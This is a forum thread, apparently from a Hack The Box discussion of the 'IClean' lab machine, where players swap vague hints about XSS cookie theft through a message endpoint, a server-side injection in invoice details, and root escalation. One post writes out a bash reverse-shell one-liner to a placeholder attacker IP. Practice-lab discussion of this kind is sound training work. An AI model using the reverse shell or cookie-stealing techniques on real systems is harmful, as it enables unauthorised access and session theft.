Official IClean Discussion

HTB Content Machines
23

Can anyone give me a hint for what to do on the invoice bit? preferably a more vague one because I’m gonna be mad at myself later if it ends up being something dumb

24

hello, I’m trying to enumerate the application and so far the only thing I found is the SendMessage endpoint, any advice on further enumeration?

25

No just reload the page not by “Ctrl+R” or the button enter on the url, or use burp it is normal there.

26

What is the /SendMessage endpoint doin? sending ur request to the management team right… so what attack do u think you can implement

27

the user is also serverside attack too

29

xss can be done with out <script>

30

it must be a client side attack since what you insert can be viewed by the management team. Nudge: x** but use some more advanced techniques than usual

31

am not saying the dashboard part am saying the foothold, it is server side attack S***.

32

oh my bad sorry, yep it is

1 Like
33

while to trying o escalate to root i found the root flag itself not sure if it was intentional or its and issue with the machine.

34

Come on man… I just stumbled with this same problem, fml… :sob: I was playing with half box because the website doesn’t work if not full-screened…

35

Just Pwned IClean! What a machine! Huge thanks to the community that helped me with the initial foothold. Definitely need to study more about web hacking! :joy:

image
image695×641 124 KB

37
38

Hi everyone.
I tried to get a foothold for a long time
Tried a lot of attacks, also from the posts above
But no success. I cannot receive my responses in the intended way
I meant something is not triggering my injections

I believe its the machine. I haven’t tried to reload it.
Probably will get back to iClean some time later. That problem burned me out for 2 days straight

39

There is no need to reset because that is not the injection point. The last part of the generation (the details) is.

40

Guys, I have successfully stolen certain food, and got initial foothold. However, after sleep, this certain food got stale and repeating the same procedure does not yield any results. Resetting the machine does not help, seems like nobody reaches for the jar on the backend.

Anyone with the same problem?

41

I have got a shell but it terminated after first command !
my payload file has this/
bash -i >& /dev/tcp/[your ip]/[the port that you listening to] 0>&1

43

Late to the party but rooted! Nice Linux box thats not TOO tough. I needed some help with the first step but everything else was pretty straight forward. Just gotta enumerate and google.

Some really good hints on here as well.

44

Hint for root: once you find the thing, read all the documentation there is for it. Think about what it does, and what different ways of doing it there might be.

45

Something weired is going on with the XSS, can’t fetch the cookie